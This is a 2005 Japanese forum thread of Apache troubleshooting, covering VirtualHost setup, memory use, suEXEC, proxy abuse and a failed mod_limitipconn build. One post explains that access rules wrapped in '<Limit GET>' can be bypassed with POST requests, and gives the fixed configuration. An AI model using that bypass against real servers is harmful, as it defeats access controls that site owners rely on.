サブドメインの設定で悩んでいるのですが、 環境はApache 1.3.33+VineLinux3.1で、 httpd.confの設定は、 ServerName mydomain.com DocumentRoot /home/usr1/public_html/ <VirtualHost *> DocumentRoot /home/usr1/public_html/ ServerName mydomain.com </VirtualHost> <VirtualHost *> DocumentRoot /home/usr1/public_html/sub.mydomain.com/ ServerName sub.mydomain.com </VirtualHost> このような感じで、DNSは @ 123.234.3.4 A sub 123.234.3.4 A となっています。 この環境で、sub.mydomain.comにアクセスをすると、 /home/usr1/public_html/sub.mydomain.com/ ここが参照されず、 /home/usr1/public_html/ こちらが参照されてしまうのですが、/sub.mydomain.com/ フォルダsub.mydomain.comで表示するにあたって問題がある可能性がある場所をご助言下さいませんでしょうか。
>>362 "NameVirtualHost *" を書いてないと見た。
>>363 マジ感謝、出来ました、本当に有難うございます。
NameVirtualHost *:80
1日近く悩んでますた・゚・(ノД`)・゚・
366 :
DNS未登録さん :05/03/08 15:32:15 ID:p2G5qiyt
367 :
DNS未登録さん :05/03/08 15:39:07 ID:FydcbLtg
>>366 ぬこたんが可愛いので許す(;´Д`)ハァハァ
なんで犬画像ってないの?
猫のがかわいいから
370 :
DNS未登録さん :05/03/09 01:39:55 ID:ds7BbOkM
ハッパムシムシ
371 :
DNS未登録さん :05/03/11 10:36:34 ID:ydd55WEz
Apache/1.3.29 (Debian GNU/Linux) PHP/4.3.4 with PHPA という環境で、サーバーを運用しているのですが、 メモリが開放されることなく、空きメモリが0に近くなるまで、 食い潰されていってしまいます。 これはどうしてでしょうか?対応方法はありますか? MaxRequestsPerChildを小さく設定していたりもするのですが、 いまいち効果がありません。
>>371 無駄なくメモリが使われている、つーのは素晴らしいことじゃないか
373 :
371 :05/03/11 13:10:15 ID:???
>>372 空きメモリが0近くなると、極端にパフォーマンスが低下します。。
>>371 肝心の搭載メモリ量は?
linuxはほぼ全部のメモリをキャッシュに割り当てるので
メモリを食っているように見える仕様だけどそれとは関係ないよね?
375 :
371 :05/03/11 14:15:32 ID:???
>>374 メモリは3Gぐらいあります。
メモリが底を付くとパフォーマンスが低下するので、
仕様の範囲外じゃないかと…。
おほっ
apacheのVirtualHostに記述してあるホスト名が参照出来ない現象が起きた・・・ 現象としてはVirtualHostに記述してある ServerNameをブラウザで開いても VirtualHostを参照せずにデフォルトのServerNameを参照してしまう。 ちなみにVirtualHostはこのように記述している。 <VirtualHost *> ServerName www.hogehoge.or.jp DocumentRoot /home/customer/ftp/hogehoge/public_html CustomLog /usr/local/apache/logs/dom/hogehoge-access_log combined </VirtualHost> ここのwww.hogehoge.or.jpをブラウザ上で開くと デフォルトの設定 ServerName www.default.or.jp を読み込んでしまう現象が起きました。 しかも、この現象13:00分ごろに起きたのですが 特にapacheの再起動などしていないのに13:20分には 自然に回復しました。 なにか心当たりがあれば教えてください。
>>375 パフォーマンスが悪いときのfreeコマンドの結果をみせてくだしぃ。
>>377 ブラウザのキャッシュが表示されてただけじゃね?
apacheのVirtualHostに記述してあるホスト名が参照出来ない現象が起きた・・・ 現象としてはVirtualHostに記述してある ServerNameをブラウザで開いても VirtualHostを参照せずにデフォルトのServerNameを参照してしまう。 ちなみにVirtualHostはこのように記述している。 <VirtualHost *> ServerName www.hogehoge.or.jp DocumentRoot /home/customer/ftp/hogehoge/public_html CustomLog /usr/local/apache/logs/dom/hogehoge-access_log combined </VirtualHost> ここのwww.hogehoge.or.jpをブラウザ上で開くと デフォルトの設定 ServerName www.default.or.jp を読み込んでしまう現象が起きました。 しかも、この現象13:00分ごろに起きたのですが 特にapacheの再起動などしていないのに13:20分には 自然に回復しました。 なにか心当たりがあれば教えてください。
381 :
377 :05/03/11 17:59:58 ID:???
げ・・二重投稿すいません。
>>379 ブラウザがIEでCtrl+F5で試行してみましたが、やはり結果は同じでした。
あとVirtualHostのCustomLogは
CustomLog /usr/local/apache/logs/dom/hogehoge-access_log combined
と設定しているのですが、症状が起きている間は
デフォルトの
CustomLog /usr/local/apache/logs/access_log common
に私のIPも含めてしっかりと記録されていましたので
キャッシュを読み込んでいたというのは無いと思います。
ちなみに環境は
OS:FreeBSD 4.8-RELEASE-p13
apache_1.3.28
382 :
371 :05/03/11 19:30:24 ID:???
>>378 こないだ再起動したので、また一週間ぐらいは持ちます。。
今はこんな状況で、だんだんusedが増えて、freeがなくなる按配です。
total used free shared buffers cached
Mem: 3853436 1319604 2533832 0 81296 1095776
-/+ buffers/cache: 142532 3710904
Swap: 2097136 0 2097136
>>382 注目する場所は -/+ buffers/cacheの行です。
2つ目の数字が実質的な空きメモリ(free+buffers+cached)容量になります。
バッファやキャッシュはサクッと破棄できちゃうので。
ほんとにメモリが足りない状態と言うのは、この空きメモリが厳しくなった場合を指します。
freeの項目は、即座に利用可能な遊び(ブレーキの遊びとかそんな意味)と思ってください。
パフォーマンスが悪い時のfreeやvmstat、ps辺りを見れば何が悪いのか分かるかも知れませんね。
何を以てパフォーマンスが悪いと逝ってるか。 やっぱり使う人の腕が悪いとモノも真価を発揮できないいい例ですね。
386 :
385 :05/03/16 04:17:57 ID:???
自己解決しました ご迷惑をおかけしてもうしわけありませんでした。 原因は携帯の履歴を削除したらいけました・・・ お恥ずかしいです。
387 :
DNS未登録さん :05/03/20 01:41:02 ID:ZmA+bmBR
ApacheとAnHTTPdの共生ってできません?
>>387 ポート番号を変えれば可能じゃないの?
というか、同時起動すれば同じポート番号使うんじゃねえゴルァってエラーが出ないかい?
389 :
387 :05/03/20 02:05:51 ID:???
>>388 早速ありがとうございます。
今、ダウンロードして実行してみました。
仰るとおり起こられちゃいました。。。
ポート番号って、どうしたら変えられるの?
390 :
387 :05/03/20 02:07:33 ID:???
ごめんなさい、、readme読んでみます。。。
>>389 httpd.conf とか、Anの設定から。
>>387 動作検証のためにApache1 と Apache2を同時に動かしてたとき有るな
サーバ立てる前に設定ファイルぐらいは一通り読んでおこうな
393 :
387 :05/03/20 02:22:11 ID:???
>>391 優しい人ですね。
設定のやり方わかりました。
ありがとうございます。
>>392 はい、反省しています。
軽々しくてすいません。。
反省とか言いながら、質問ついでに教えて欲しい事があります。
本当に図々しくて申し訳ないですけど、、80以外のポート番号って何番が良いの?
394 :
387 :05/03/20 02:31:59 ID:???
readmeのとおり8080にしました。 ありがとうございました。 まだ分からない事がたくさんありますけど、自分で調べてがんばってみます。
mod_limitipconn の使い方書いてるサイト教えてください。 ついでに、拒否したときに404にすることができるサイトがあれば教えてください。
よくcmd.exeを取りに来る奴がいるけどホントにダイジョブかなあ〜(不安
>>395 404だとプロクシやブラウザに「存在しない」ということがキャッシュされてしまって
limitipconn の制限がかからなくてもアクセスできなくなることがありうる。
ステータスコードの意味を正しく理解してないならいじるのはやめておけ。
>>397 それを知らないあんたってホントにダイジョブかなあ〜
>>398 ブラウザって404をキャッシュするのか?
404てキャッシュされなかったんでない? 何度でも取りにくるのでアクセス数が逆に増えて負荷増大な悪寒
>>401 ちょっと実験してみたバックグラウンドイメージがリンク切れ起こしたHTMLにアクセスすると
一回リトライして404が2回返ってるみたいです普通に貼込んだ画像は一発だけですね
そういう問題よりはキャッシュが無いと表示毎に必ずアクセスが来るし
あるはずのものが無いと連打するのが心理というもので
混雑すると404を返す鯖があるってことで、 404でも延々とリトライし続けるソフトがあったと思う。
404 :
DNS未登録さん :2005/03/21(月) 09:35:43 ID:88jGdqeT
404 Not found
404無視する・・・Irinveかw 既にダウソ終わったのにリジュームしようとして存在しない位置をリクエストするし まさにKing of 糞ソフトだなw
転送サイズがマイナスになる不気味ソフトか
てかlimitipconnを入れる理由はうpろだとかで多重DLをふせぐためだろ? なら404にしたい理由もうなずけるし、やっていいと思うよ。 確かにirvineの404無視は困るが、デフォルトではoffになってる。 デフォルトonのDLツールもあるらしいが。
糞ソフトが多すぎるよな。 まとめて弾いてやりたい今日この頃。
ただDLソフトにはリジューム機能が付いてるから、 大物ろだにはありがたいものでもある。 多重の方が圧倒的に多いとは思うが、メリットもあるし難しいところだ
DLソフトなんて今の状況じゃ使うメリット少ないよ リジュームはFirefoxとか最近のブラウザにはあるしバッチ処理もしてくれるし
最近のブラウザの9割以上はIEだが
IEなんて過去の遺産ですよ?
シェア10%以下のブラウザ共の骨肉の争いって笑えるw
>>412 サーバーのログを見る限り現役です
つ〜か今だ主流
squidは404をキャッシュする。↓ 404のキャッシュにヒットしたときのログの実物。
1111501521.076 18 192.168.1.12 TCP_NEGATIVE_HIT/404 512 GET
http://xxx.xxx.xxx/favicon.ico - NONE/- text/html
まあ、503もキャッシュされるんだが。意味を考えたら503の方が正しいけど。
1111422030.382 23 192.168.1.12 TCP_NEGATIVE_HIT/503 612 GET
http://xxx.xxx.xxx/xxx.cgi? - NONE/- text/html
>>415 NEGATIVE_HITは
メモリ中にヒットしたやつ
negative_ttl 1 minutes
で設定
ちなみにディスクへのキャッシュはされない
すみません1.3使用してます。OSはturbolinux7.0wsです。 httpd.confに CustomLog /var/log/httpd/outer_log common env!=internal とやってWAN側のアクセスだけを記録したいとおもったんですが出来ませんでした。 どう記述したらよいでしょうか? Starting httpd: Syntax error on line 583 of /etc/httpd/conf/httpd.conf: error in condition clause NG といわれました。
420 :
418 :2005/03/23(水) 18:06:25 ID:???
421 :
417 :2005/03/23(水) 18:49:08 ID:???
同じファイルへのアクセス人数を制限する方法きぼーん
バージョンが1か2かぐらいは書いた方がいいかもだーね。
時々、WEBサーバーの帯域とかCPU使用率とか グラフで表示してるサイトあるけどどうやってるの??
>>424 MRTGかHotSaNIC辺りが有名。
CentOS 4.0 + Apache 2.0.53 を使っています cgiやphpでhtdocsの外のファイルをincludeしようとすると、permission denied になります。 それらのファイルのread権限をapcheの実行ユーザに与えてもそうなります。 これは正しい挙動でしょうか。そうでなければ、htdocsの外のファイルを読めるようにするには どうしたらよいですか。よろしくお願いします。
「そうであれば」というのが正しい日本語な気がする
>>426 下手するとセキュリティーホールになりうるから慎重にいかないとだね。
的はずれだったらごめんだけど、Alias作るかFollowsymlinks(スペル自信ない)あたりすか。
>>428 スクリプトの起動後は Apache の制御をはずれるから関係ない。
>>426 >それらのファイルのread権限をapcheの実行ユーザに与えてもそうなります。
CGI の場合は apache ではなく、CGI の実行ユーザの権限を与えなきゃ意味なし。
PHP の方はセーフモードとかになってないか確認。
430 :
426 :2005/03/31(木) 21:21:24 ID:???
>>428 >>429 ありがとうございます。
どうもSELが原因のようでした。
SELを使わないことにより無事解決しました。
PHPで、 $_SERVER['DOCUMENT_ROOT'] とすると、その名の通りドキュメントルートが返ってきますが、 レンタルサーバなんかだと、自分のホームディレクトリ(のpublic_html)が返ってきます。 それってhttpd.confのどこで設定するものなんでしょうか? 各ユーザが$_SERVER['DOCUMENT_ROOT']としたら、自分のディレクトリを指すようにしたいという事なんですが…
432 :
431 :2005/04/03(日) 15:25:29 ID:???
もしかして論点ずれているかもしれません。 各ユーザが、 require_once($_SERVER['DOCUMENT_ROOT'].'/hoge.php'); で、自分のディレクトリにあるファイルをインクルードできるようにしたかったんですが、 require_once('./hoge.php'); こうすればいいだけの話なんですかね…
文字通り DocumentRoot なのだが、それはそういうふうに参照して 使うべきものではないので、別の方法を考えた方が吉。
ちょっと表現がおかしいかな。 そういうふうに参照するのは正しいのだが、それはもっと別の意味がある ディレクティブなので、スクリプトから使うためだけにそこの設定を いじるというのは本末転倒。 というか、インクルードするだけで直接アクセスされることを 想定してないファイルならば DocumentRoot の下に置くな。
435 :
431 :2005/04/03(日) 23:53:54 ID:???
なるほどどうも。 ./の指定でやる事にしました。 が、public_html以下、さらに深いディレクトリ以下など色々な階層から、 同phpをインクルードするにはどうしたらいいかなぁ、、 ってのはPHPスレで探ってきます。ありがとうございました。
Apache 1.3.33(suEXEC) Debian GNU/Linux 3.0
suEXECが有効になったか確かめるために
/home/test/public_htmlに
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print `whoami`;
と書いたCGIを置き実行したらちゃんとそのCGIの所有者が表示されました。
同じディレクトリに
/からはじまるパスで他のファイルを開き、表示するCGIを置いて実行したら表示されてしまいました。
(suEXECが有効なら..や/が禁止されるはずですよね?)
バーチャルホストでsuEXECを有効にするためにコンパイルオプションの引数で
--enable-suexec \
--suexec-caller=www-data \
--suexec-docroot=/home \
--suexec-uidmin=100 \
--suexec-gidmin=100
と指定し
httpd.confで以下のように設定しました。
<VirtualHost *>
ServerAdmin
[email protected] DocumentRoot /home/test/public_html
ServerName test.hoge.net
ErrorLog /home/log/test/error_log
TransferLog /home/log/test/access_log
User test
Group test
</VirtualHost>
そのCGIのパーミッションを777に設定し実行したらエラーになりました。
/usr/local/apache/logs/suexec_logには
[2005-04-04 10:35:28] error: file is writable by others: (/home/test/public_html/test.cgi)
これはコンパイル時の設定が悪いのでしょうか?
age
>>436 > そのCGIのパーミッションを777に設定し実行したらエラーになりました。
> error: file is writable by others
自分で言ってるじゃないか。
>>438 ありがとうございます。
このエラーが出るということはsuEXECが有効になっているってことですよね?
CGIから..や/でファイルを参照できるのはどうしてなんでしょうか?
440 :
DNS未登録さん :2005/04/04(月) 12:27:59 ID:Unzgh+a5
俺じゃわからないから上げておくよ。
結局みんな分からないでつね。
shellで入っても参照できないものが参照できたらそれは驚き。 権限があって見えるものが見えるのはあたりまえ。
>>442 確かにCGIから/で参照できたファイルはパーミッションが644になっていて、600にすれば
当然見ることはできないです。suEXECは..や/で参照するだけでCGIが実行できないもの
だと思っていました。その他に読み込み権限があると見れてしまうものなのですね。
ありがとうございました。
444 :
DNS未登録さん :2005/04/04(月) 18:59:43 ID:ToFwpux0
age
445 :
DNS未登録さん :2005/04/04(月) 19:02:34 ID:ToFwpux0
質問じゃないけど、警告としてセキュリティ上の問題点を解説しとくね。
Apache のBasic認証とかIPアドレス認証の解説の半数ぐらいは、セキュリティホールがある方法を解説しているの知ってる?
こんなのだと認証を簡単に回避できる。
| <Limit GET>
| order deny,allow
| deny from all
| allow from 192.168.0.
| <Limit>
GETじゃなくてPOST使うだけで簡単にすり抜けられるから。
例えば、
http://hogehoge.foo/menber/index.html を GET じゃなくて POSTメソッドでアクセスしても 、エラーにならずに普通にファイルが返される。
ちなみに、正解は、
| order deny,allow
| deny from all
| allow from 192.168.0.
だな。
Limit使う意味が分からん。
リミット病も嘘情報の無断転記で広がっていってるんだろうけど。
これでアクセス認証しているところに、POSTでアクセスして情報を取得したら不正アクセスになるのかね?
ブラウザがGETしようとPOSTしようと自由だから流石にそれは無いと思うけど、ACCS事件のせいで信用できないんだよな。
(´,_ゝ`)プッ
そ!?そうなんですか???!!!!!!!!!!!
httpdプロセスが増え続ける現象に悩んでいます。 MaxRequestsPerChildを100として設定しているのにもかかわらず、 ※もちろん設定後プロセスをリブートしています。 pstreeで見るとhttpd-+-149*[httpd]と出てきてしまいます。 この場合、まずどこを疑えばいいのでしょうか? それともMaxRequestsPerChildに対して設定した数の プロセス数を超えると自動的に消えていくという私の 認識が間違っているのでしょうか? 宜しく御願いします。
449 :
448 :2005/04/05(火) 22:55:17 ID:???
すみません。 プロセス数はMaxRequestsじゃなくてMaxClientsなんですね。 でも、この数を超えるとロックされる様なのですが、古い物から強制的に 排除するような設定はないのでしょうか? 宜しく御願いします。
451 :
DNS未登録さん :2005/04/13(水) 08:06:42 ID:of7JdTK2
mod_injectionを使ってるんですけど<!--nobanner-->のあるページに広告を挿入しないようにすることって可能でしょうか? あと、injectionとlayout以外の文字列を挿入するモジュールってないでしょうか?
453 :
DNS未登録さん :2005/04/14(木) 00:17:14 ID:tJ9qkhgY
すみません。以下のように記述しているのですが、
http:// (略)/cgi-bin/
と入力したときに、index.htmlを表示してくれません。
何がまずいのでしょうか・・・
<Directory "/var/www/cgi-bin">
AllowOverride All
Options None
Order allow,deny
Allow from all
DirectoryIndex index.html←ここで指定してもダメですか?
略
</Directory>
454 :
453 :2005/04/14(木) 00:25:11 ID:tJ9qkhgY
追伸:
http:// (略)/cgi-bin/index.html を表示して欲しいわけです。
455 :
453 :2005/04/14(木) 02:36:47 ID:tJ9qkhgY
たびたびすいません。こんばんは。 ダイナミックDNSに登録したらそのドメイン名ではLANから アクセスはできませんよね?せっかく自宅のサーバを立てた のに、わざわざ外部プロキシを通してアクセスするのも悔しいです。 ルータからWANに出る前に、そのドメインだったら192.168.0.55 に経路を引くことはできないでしょうか。LAN内のIPを直に入れろ と言われればそれまでなのですが、CGIスクリプト内にURLを 書かなければならず、そこに取得したドメイン名を書くとローカル 扱いではうまく動かないのです。雑な文ですみません。 どなたかお知恵をくださいませ。
>>455 方法1 ルーターでルートを設定する(できないルーターもあり)
方法2 hosts を書く
方法3−1 djb教を批判しつつISC BIND鯖を立てLAN内PCのDNSサーバのIPアドレスの設定をその鯖に変える 方法3−2 djb信者になってdjbdns鯖を立てLAN内PCのDNSサーバのIPアドレスの設定をその鯖に変える
/etc/apache2/conf/httpd.conf /etc/apache2/conf/apache2.conf の二つ設定ファイルらしいのがあるのですが どちらを設定すればいいのでしょうか? 両方ともファイルサイズも内容も同じみたいです。
|彡サッ!
片方消してリンクにしとけばどっち弄っても同じ結果になるよ。
461 :
DNS未登録さん :2005/04/14(木) 22:27:29 ID:5gablVfB
普通はhttpd.confだよ。
>>461 THX!
試しにapache2.confを消したらApacheが起動時にエラー出てた。
反対にhttpd.confを消したらやっぱり起動時にエラー。
両方読み込んでるの?
>>462 シンボリック リンク ファイルだったら笑える。
httpdが設定ファイルを見る場所は、
コンパイル時に設定した場所、-f コマンドで指定した場所。
起動スクリプトの中を見てみれ
464 :
455 :2005/04/14(木) 23:14:57 ID:???
>>456 ありがとうございました。hostsに追記することで解決しました。
DirectoryIndexのことで何かわかる人がいましたら、
またよろしくお願いいたします。
465 :
455 :2005/04/14(木) 23:28:38 ID:???
httpd.confに最初から書いてあるDirectoryIndex 〜の記述は ドキュメントのルートにしか効きませんよね? 確かに、この記述を変えると書いた通りのファイルを表示します
apache2でproxyサーバー立ててるんだけど 某有名proxyリストサイトに記載されたみたいで 転送量が半端じゃない・・・ 接続元IPを指定する方法と、proxyサーバーのみの帯域規制方法を 教えてほしいのですがどうすればいいのでしょうか?
>>467 そもそも不正中継の温床となっているのですから。。
認証付けるとかしないの?
>>467 経由する時に強制的に広告を貼り付けるようにする ウマー
<Proxy *> order なんとか allow from なんとか deny from なんとか </Proxy> ふつーのアクセス制御と同じ。が、そんなことより abuser はいっぺん死んでこい。
>>467 その程度の知識でproxy立てるな。社会の迷惑。
下手に事件でも起これば、おまいが犯人扱いされるぞ。
ログを渡せば大丈夫だよね・・・
>472 その事件について、完全に第三者だと思われればOK しかし、事件に関連があると疑われたら、ログ自身に証拠能力がなくなる からな。ログなんて自分でいくらでも改変可能なのだから。
Apache2だけど自動起動をコマンド一行で実行できたと思うのだが どうするんだっけ?
OSを書かないバカは氏んでこい
vine linuxです。 すいません。
>>471 >>473 中継サーバーが違法だというなら、Googleキャッシュやメールサーバはどうなる?
>>477 またそうやってとんでもなくずれた方向に話を進めるー。
ふふふ
# apt-get install apache-devel
# wget
http://dominia.org/djao/limit/mod_limitipconn-0.22.tar.gz # tar xzvf mod_limitipconn-0.22.tar.gz
# cd mod_limitipconn-0.22
# make
apxs -c mod_limitipconn.c
apxs:Warning: /usr/sbin/httpd not found or not executable
apxs:Warning: Continuing anyway...
apxs:Warning: Sorry, no DSO support for Apache available
apxs:Warning: under your platform. Make sure the Apache
apxs:Warning: module mod_so is compiled into your server
apxs:Warning: binary `/usr/sbin/httpd'.
apxs:Warning: Continuing anyway...
gcc -O2 -pipe -march=i386 -mcpu=i686 -DLINUX=22 -DHAVE_SET_DUMPABLE -I/usr/include/gdbm -DMOD_SSL=208122 -DEAPI -DEAPI_MM -DUSE_EXPAT -I../lib/expat-lite -O2 -pipe -march=i386 -mcpu=i686 -fpic -DSHARED_MODULE -I/usr/include/apache -c mod_limitipconn.c
mod_limitipconn.c:34:20: ap_mpm.h: そのようなファイルやディレクトリはありません
mod_limitipconn.c:35:25: apr_strings.h: そのようなファイルやディレクトリはありません
mod_limitipconn.c:41: error: 文法エラー before "limitipconn_module"
mod_limitipconn.c:41: 警告: data definition has no type or storage class
mod_limitipconn.c:47: error: 文法エラー before "apr_array_header_t"
mod_limitipconn.c:47: 警告: struct や union の最後にセミコロンがありません
mod_limitipconn.c:49: 警告: data definition has no type or storage class
mod_limitipconn.c:51: error: 文法エラー before '}' token
mod_limitipconn.c:51: 警告: data definition has no type or storage class
mod_limitipconn.c:53: error: 文法エラー before '*' token
mod_limitipconn.c: 関数 `limitipconn_create_dir_config' 内:
mod_limitipconn.c:55: error: `cfg' undeclared (first use in this function)
mod_limitipconn.c:55: error: (Each undeclared identifier is reported only once
mod_limitipconn.c:55: error: for each function it appears in.)
mod_limitipconn.c:55: error: 文法エラー before ')' token
mod_limitipconn.c:60: error: `p' undeclared (first use in this function)
mod_limitipconn.c: 関数 `limitipconn_handler' 内:
mod_limitipconn.c:69: error: `cfg' undeclared (first use in this function)
mod_limitipconn.c:69: error: 文法エラー before ')' token
mod_limitipconn.c:70: error: request for member `module_index' in something not a structure or union
mod_limitipconn.c:89: error: `worker_score' undeclared (first use in this function)
mod_limitipconn.c:89: error: `ws_record' undeclared (first use in this function)
mod_limitipconn.c:100: error: too many arguments to function `ap_sub_req_lookup_uri'
mod_limitipconn.c:174: error: `SERVER_IDLE_KILL' undeclared (first use in this function)
mod_limitipconn.c:176: error: `SERVER_CLOSING' undeclared (first use in this function)
mod_limitipconn.c:184: 警告: 互換性のないポインタ型からの引数 5 個の `ap_log_rerror' を渡しますです
mod_limitipconn.c: 関数 `limit_config_cmd' 内:
mod_limitipconn.c:198: error: `cfg' undeclared (first use in this function)
mod_limitipconn.c:198: error: 文法エラー before ')' token
mod_limitipconn.c: 関数 `no_limit_config_cmd' 内:
mod_limitipconn.c:216: error: `cfg' undeclared (first use in this function)
mod_limitipconn.c:216: error: 文法エラー before ')' token
mod_limitipconn.c:218: 警告: 代入により、キャストなしで整数からポインタを作りました
mod_limitipconn.c: 関数 `excl_limit_config_cmd' 内:
mod_limitipconn.c:226: error: `cfg' undeclared (first use in this function)
mod_limitipconn.c:226: error: 文法エラー before ')' token
mod_limitipconn.c:228: 警告: 代入により、キャストなしで整数からポインタを作りました mod_limitipconn.c: トップレベル: mod_limitipconn.c:235: error: 初期化子の要素が定数ではありません mod_limitipconn.c:235: error: (near initialization for `limitipconn_cmds[0].name') mod_limitipconn.c:237: error: 初期化子の要素が定数ではありません mod_limitipconn.c:237: error: (near initialization for `limitipconn_cmds[0].func') mod_limitipconn.c:239: error: 初期化子の要素が定数ではありません mod_limitipconn.c:239: error: (near initialization for `limitipconn_cmds[0].cmd_data') mod_limitipconn.c:240: 警告: スカラー初期化子がブレースで囲まれています mod_limitipconn.c:240: 警告: (near initialization for `limitipconn_cmds[0].req_override') mod_limitipconn.c:240: 警告: 初期化により、キャストなしでポインタから整数を作りました mod_limitipconn.c:241: error: 初期化子の要素が定数ではありません mod_limitipconn.c:241: error: (near initialization for `limitipconn_cmds[0]') mod_limitipconn.c:244: error: 文法エラー before '*' token mod_limitipconn.c: 関数 `limitipconn_init' 内: mod_limitipconn.c:246: error: `s' undeclared (first use in this function) mod_limitipconn.c:248: error: `AP_MPMQ_HARD_LIMIT_THREADS' undeclared (first use in this function) mod_limitipconn.c:249: error: `AP_MPMQ_HARD_LIMIT_DAEMONS' undeclared (first use in this function) mod_limitipconn.c: トップレベル: mod_limitipconn.c:253: error: 文法エラー before '*' token mod_limitipconn.c: 関数 `register_hooks' 内: mod_limitipconn.c:255: error: `APR_HOOK_MIDDLE' undeclared (first use in this function) mod_limitipconn.c: トップレベル: mod_limitipconn.c:259: error: 文法エラー before "limitipconn_module" mod_limitipconn.c:260: error: `STANDARD20_MODULE_STUFF' undeclared here (not in a function) mod_limitipconn.c:260: error: 初期化子の要素が定数ではありません mod_limitipconn.c:260: error: (near initialization for `limitipconn_module') mod_limitipconn.c:261: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:261: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:262: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:262: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:263: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:263: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:264: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:264: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:265: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:265: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:267: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:267: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:267: 警告: data definition has no type or storage class apxs:Break: Command failed with rc=1 make: *** [mod_limitipconn.so] エラー 1 こんなエラー出てmakeできない。 apt-get install apache-devel いらない? ちなみにvine linuxつかってます。
あーここはチラシの裏だったんだった、、
チラシの裏って言えば済むと思ってる奴ウザいよw
>>480 オイラはvine使ってないし、limitipconnも使ってないが、、、
真面目にやるなら、warningやerrorの原因を潰していく。
例えば、
> apxs:Warning: /usr/sbin/httpd not found or not executable
いきなり /usr/sbin/httpdが見つかってないな。httpdのありかを探してconfigureかMakefileを修正。
まぁ、その後でDSOじゃないと駄目とか言われてるので、apache自体がDSOサポートでインストールしてなきゃ
apacheのインストールから入れ直しかも知れないけど。
オイラならある程度手間が省けそうなsrc.rpmを使ってspecファイルを弄るかなぁ。。
##
## Makefile -- Build procedure for sample limitipconn Apache module
## Autogenerated via ``apxs -n limitipconn -g''.
##
# the used tools
APXS=apxs
APACHECTL=apachectl
# additional user defines, includes and libraries
#DEF=-Dmy_define=my_value
#INC=-Imy/include/dir
#LIB=-Lmy/lib/dir -lmylib
# the default target
all: mod_limitipconn.so
# compile the DSO file
mod_limitipconn.so: mod_limitipconn.c
$(APXS) -c $(DEF) $(INC) $(LIB) mod_limitipconn.c
# install the DSO file into the Apache installation
# and activate it in the Apache configuration
install: all
$(APXS) -c -i -a -n 'limitipconn' mod_limitipconn.c
# cleanup
clean:
-rm -f mod_limitipconn.o mod_limitipconn.so mod_limitipconn.lo mod_limitipconn.slo mod_limitipconn.la
# simple test
test: reload
lynx -mime_header
http://localhost/limitipconn # reload the module by installing and restarting Apache
reload: install restart
# the general Apache start/restart/stop procedures
start:
$(APACHECTL) start
restart:
$(APACHECTL) restart
stop:
$(APACHECTL) stop
Makefileの中だけど、/usr/sbin/httpd って表示ないし・・・って困ってるんだよね・・・
>Makefileの中だけど、/usr/sbin/httpd って表示ないし・・・って困ってるんだよね・・・ そういうのを Makefile の中でいちいち指定しなくてもいいように するための仕組みが apxs なんだからなくて当たり前。 それがうまく動かないってのは apache の環境がぶっこわれてるということ。 モジュールのインストールの前に apache のインストールからやりなおせ。
apt-get install apache2 でインストールしたらDSOが入ってないぽい・・・ これが原因かな?インストール方法わからず・・・ もうちょっと調べてきます。
OKボーイ おちつけ。 DSOかどうかは、httpd -l で確認できる。mod_so.cがあるかどうか確認汁。 apxsは perlで書かれていて、/usr/sbin/httpdという文字列は $CFG_* のような初期設定変数から作成されている。 apxs -q [CFLAGS or SBINDIR etc.] でその設定内容を確認できる。 直接こいつらを書き換えてもいいし、 apxs -S name=value で一時的に変更もできる。(makefileにぶちこむ)
# httpd -l Command not found ってなるけど? 関係あるかわからないが 設定ファイル:/etc/apache2/conf/httpd.conf スタートさせる時:/etc/init.d/apache2 start インストール先が違うせい?? 関係ないかな? ちなみに /etc/apache2/modules/mod_so.c はない。設定ファイルにもmod_so.cって記述はない。 > apxsは perlで書かれていて、/usr/sbin/httpdという文字列は $CFG_* のような初期設定変数から作成されている。 > apxs -q [CFLAGS or SBINDIR etc.] でその設定内容を確認できる。 > 直接こいつらを書き換えてもいいし、 apxs -S name=value で一時的に変更もできる。(makefileにぶちこむ) apxs -q httpd 使い方間違ってるかな?一応結果。 apxs:Warning: Continuing anyway... apxs:Warning: Sorry, no DSO support for Apache available apxs:Warning: under your platform. Make sure the Apache apxs:Warning: module mod_so is compiled into your server apxs:Warning: binary `/usr/sbin/httpd'. apxs:Warning: Continuing anyway... apxs:Error: Invalid query string `httpd' 書き換えるファイルはどこ?
君にlimitipconnは早い。いや、煽り抜きにして。 もっと検索してきておいで。
491 :
487 :2005/04/16(土) 13:43:21 ID:???
>>489 おいらじゃないぞ?
# apache2 -l
Compiled in modules:
core.c
worker.c
http_core.c
mod_so.c
# vi /usr/sbin/apxs
でずらずらとたくさん字が書いてあって
関係ありそうなところ抜き出してみた。
my $CFG_TARGET = q(httpd); # substituted via Makefile.tmpl
my $CFG_CC = q(gcc); # substituted via Makefile.tmpl
my $CFG_CFLAGS = q(-O2 -pipe -march=i386 -mcpu=i686 -DLINUX=22 -DHAVE_SET_DUMPABLE
-I/usr/include/gdbm -DMOD_SSL=208122 -DEAPI -DEAPI_MM -DUSE_EXPAT -I../lib/expat-lite -O2 -pipe
-march=i386 -mcpu=i686 `../apaci`); # substituted via Makefile.tmpl
my $CFG_CFLAGS_SHLIB = q(-fpic -DSHARED_MODULE); # substituted via Makefile.tmpl
my $CFG_LD_SHLIB = q(gcc); # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = q(-shared); # substituted via Makefile.tmpl
my $CFG_LIBS_SHLIB = q(); # substituted via Makefile.tmpl
my $CFG_PREFIX = q(/usr); # substituted via APACI install
my $CFG_SBINDIR = q(/usr/sbin); # substituted via APACI install
my $CFG_INCLUDEDIR = q(/usr/include/apache); # substituted via APACI install
my $CFG_LIBEXECDIR = q(/usr/lib/apache); # substituted via APACI install
my $CFG_SYSCONFDIR = q(/etc/httpd/conf); # substituted via APACI install
以下のふたつ修正してみたけどだめだった。
